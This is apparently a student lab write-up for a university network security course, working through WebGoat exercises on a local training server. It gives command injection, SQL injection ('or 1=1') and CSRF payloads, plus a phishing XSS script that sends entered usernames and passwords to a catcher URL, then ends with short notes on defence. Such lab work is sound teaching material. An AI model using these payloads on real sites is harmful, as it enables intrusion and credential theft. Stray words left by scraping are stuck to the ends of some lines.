2018-2019-2 20165219《網絡對抗技術》Exp9 Web安全基礎

2018-2019-2 20165219《網絡對抗技術》Exp9 Web安全基礎

一 實驗內容

WebGoat配置

進入https://github.com/WebGoat/WebGoat/releases?after=8.0.0網站html

下載 webgoat-container-7.0.1-war-exec.jarjava

輸入java -jar webgoat-container-7.0.1-war-exec.jar安裝jar包git

覽器登錄http://localhost:8080/WebGoat網站

github

SQL注入攻擊
1.命令注入(Command Injection)

選擇 Injection Flaws -> Command Injection
右鍵頁面中複選框,選擇inspect
Element審查網頁元素對源代碼進行修改,在末尾添加"& netstat -an & ipconfig"web

點擊 view,看到網絡端口使用狀況和 IP 地址,攻擊成功
sql

2.Numeric SQL Injection

Goal:The form below allows a user to view weather data. Try to inject an SQL string that results in all the weather data being displayed.瀏覽器

右鍵點擊複選框,選擇inspect Element審查網頁元素對源代碼value="101"進行修改,在城市編號101後面添加or 1=1
安全

3.String SQL Injection

Goal:The form below allows a user to view their credit card numbers. Try to inject an SQL string that results in all the credit card numbers being displayed.cookie

輸入查詢的用戶名' or 1=1--
網絡

4.String SQL Injection

Goal:Use String SQL Injection to bypass authentication.

在密碼框右鍵選擇inspect Element審查網頁元素對長度進行修改

在密碼框輸入' or 1=1 --

XSS攻擊
1 Phishing with XSS

編寫一個帶用戶名和密碼輸入框的表格

<form>
  <br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
  Enter Username:<br><input type="text" id="user" name="user"><br> 
  Enter Password:<br><input type="password" name = "pass"><br> 
  </form><br><br><HR>

編寫一段腳本讀取被攻擊者在表單上輸入的用戶名和密碼信息,將這些信息發送給捕獲這些信息的 WebGoat

function hack()
  { 
      alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
      XSSImage=new Image; 
      XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
  }
  </script>

將兩段代碼合併後,在 XSS - > Phishing with XSS搜索上面代碼,在顯示的表單中輸入用戶名和密碼,登陸後WebGoat會將輸入的信息捕獲並反饋給咱們

2 Reflected XSS

在code框輸入<script>alert("20165219");</script>

點擊purchase,則會彈出窗口,內容是括號裏的串

3 Stored XSS Attacks

在massage部分插入jsp代碼,代碼會被瀏覽器解析成html的內容

在message窗口輸入<script>alert("wyb");</script>,說明攻擊成功

CSRF攻擊
1 Cross Site Request Forgery

在Message框中輸入
<img src="http://localhost:8080/WebGoat/attack?Screen=303&menu=900&transferFunds=10000" width="1" height="1" />

問題回答

SQL注入攻擊原理,如何防護

檢查輸入數據類型和格式

XSS攻擊的原理,如何防護

在表單提交或者url參數傳遞前,對須要的參數進行過濾。檢查用戶輸入的內容中是否有非法內容

CSRF攻擊原理,如何防護

經過referer、token或者驗證碼來檢測用戶提交 避免全站通用的cookie,嚴格設置cookie的域

相關文章
相關標籤/搜索